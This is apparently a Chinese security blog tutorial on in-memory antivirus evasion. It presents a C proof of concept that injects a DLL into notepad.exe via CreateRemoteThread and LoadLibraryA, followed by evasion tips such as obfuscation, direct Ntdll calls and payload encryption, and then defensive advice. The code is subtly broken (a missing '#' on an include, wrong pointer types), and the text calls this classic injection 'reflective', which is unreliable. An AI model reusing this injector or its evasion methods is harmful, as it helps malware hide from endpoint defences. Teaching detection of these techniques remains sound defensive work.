0x01 内存加载的秘密
在安全研究领域，内存加载免杀技术被视为一门艺术。为什么呢？因为它能有效绕过传统杀毒软件的文件监控机制，为攻击者提供了一种安全、高效的恶意代码执行方式。这个技术原理背后的核心在于：大部分的安全软件主要是对磁盘上的文件进行监控，而将恶意代码直接加载到内存中则可以规避这种监控。
从技术上讲，内存加载免杀主要依赖于几种方式：通过使用 Reflective DLL Injection、Process Hollowing、以及 Memory Module 技术，可以使得恶意代码在内存中运行，而不需要落地到磁盘。
Reflective DLL Injection 是一种经典的技术，它允许攻击者将 DLL 动态插入到目标进程中，并在进程内执行。这种技术的强大之处在于，它不需要在磁盘上留下任何痕迹。
Process Hollowing 则是一种通过劫持合法进程的技术，攻击者启动一个合法的进程，然后将该进程的内存替换为恶意代码。这种技术对于绕过进程监控特别有效。
Memory Module 技术的实现则相对复杂，它涉及将整个可执行模块加载到内存中，并从内存中执行代码，而不使用常规的操作系统加载机制。
这些技术的结合使用，可以实现高效的内存加载免杀效果，让攻击者的操作更加隐蔽。
0x02 实战环境搭建
为了演示内存加载免杀技术，我们需要搭建一个实验环境。推荐在隔离的虚拟机中进行，以避免对真实环境造成影响。我们将使用以下工具和资源：
- 操作系统：Windows 10 64位 (虚拟机)
- 开发工具：Visual Studio 2022
- 安全工具：Process Hacker、ProcMon、Wireshark
- 编程环境：Python 3.x、C/C++
确保你的环境中安装了上述工具，并配置好开发和调试环境。这个实验的目的是实现一个简单的 Reflective DLL Injection，并观察其在内存中的行为。
0x03 内存技术的POC实现
让我们从一个简单的 Reflective DLL Injection 开始。以下是一个基本的 C 语言代码实现，展示了如何将一个 DLL 加载到目标进程中并执行：
<pre><code class="language-c">#include <windows.h>
include <tlhelp32.h>
DWORD GetTargetProcessId(const char *processName) { DWORD processId = 0; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot != INVALID_HANDLE_VALUE) { PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); if (Process32First(snapshot, &pe)) { do { if (_stricmp(pe.szExeFile, processName) == 0) { processId = pe.th32ProcessID; break; } } while (Process32Next(snapshot, &pe)); } CloseHandle(snapshot); } return processId; }
BOOL InjectDLL(DWORD processId, const char *dllPath) { HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId); if (hProcess == NULL) { printf("Failed to open process\n"); return FALSE; } LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE); if (pRemoteMemory == NULL) { printf("Failed to allocate memory in target process\n"); CloseHandle(hProcess); return FALSE; } if (!WriteProcessMemory(hProcess, pRemoteMemory, dllPath, strlen(dllPath) + 1, NULL)) { printf("Failed to write to target process memory\n"); VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE); CloseHandle(hProcess); return FALSE; } HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, pRemoteMemory, 0, NULL); if (hThread == NULL) { printf("Failed to create remote thread\n"); VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE); CloseHandle(hProcess); return FALSE; } WaitForSingleObject(hThread, INFINITE); VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE); CloseHandle(hThread); CloseHandle(hProcess); return TRUE; }
int main() { const char targetProcess = "notepad.exe"; const char dllPath = "C:\\path\\to\\your\\payload.dll";
DWORD processId = GetTargetProcessId(targetProcess); if (processId == 0) { printf("Target process not found\n"); return -1; }
if (InjectDLL(processId, dllPath)) { printf("DLL injected successfully\n"); } else { printf("DLL injection failed\n"); } return 0; }</code></pre>
代码解析：
- 这个程序的目标是将一个恶意 DLL 注入到记事本进程中。
GetTargetProcessId函数用来获取目标进程的 ID。InjectDLL函数负责在目标进程中分配内存，将 DLL 路径写入该内存，并通过CreateRemoteThread调用LoadLibraryA加载 DLL。
注意事项： 运行这个 POC 需要管理员权限，确保你的 DLL 文件路径正确，并且 DLL 具有反射加载能力。
0x04 绕过杀软的方法
在实际操作中，直接的 DLL 注入可能会被现代安全软件检测到，因此我们需要一些额外的技巧来规避检测：
- 代码混淆：通过混淆代码逻辑，使安全软件难以分析攻击行为。
- API Hook 绕过：系统一些关键 API 通常被安全软件监控，可通过直接调用 Ntdll 函数等方式绕过。
- 内存加密：在注入之前对负载进行加密，只有在目标进程中解密使用。
- 分段加载：将 DLL 分割成小块，逐块加载到目标进程中，避免一次性加载被察觉。
此外，保持随时更新关于安全软件检测机制的最新情报，也有助于开发出更隐蔽的免杀策略。
0x05 检测与防御建议
针对内存加载免杀技术，防御者可以采取以下措施加强检测和防护：
行为监控
加强对进程行为的监控，尤其是对常用进程的内存操作和线程创建行为。
内存取证
利用内存取证工具，例如 Volatility，对系统内存进行定期分析，查找可疑的内存模块和注入行为。
引入EDR
部署高级端点检测与响应（EDR）系统，它们通常具备更强的检测能力，能够识别可疑的内存注入和执行活动。
策略更新
根据最新的攻击情报，不断更新检测策略和规则，以识别新的免杀技术。
0x06 经验分享
保持好奇心和持续学习：安全领域变化迅速，持续学习是保持领先的关键。多参加安全会议，与同行交流，分享技术经验。
实战训练：在测试环境中不断实验和调整免杀技术，以理解各种对抗机制的优劣。
工具开发：根据自己的需求，定制开发攻击和免杀工具，有时现成工具无法满足复杂场景下的需求。
法律与道德：最后，无论技术多么先进，始终要遵守法律法规，确保所有测试都在授权范围内进行。
通过这篇文章，希望你对内存加载免杀技术有了更深入的了解，也希望这能激发你的创新思维，在合法合规的前提下，探索更多安全研究的可能。
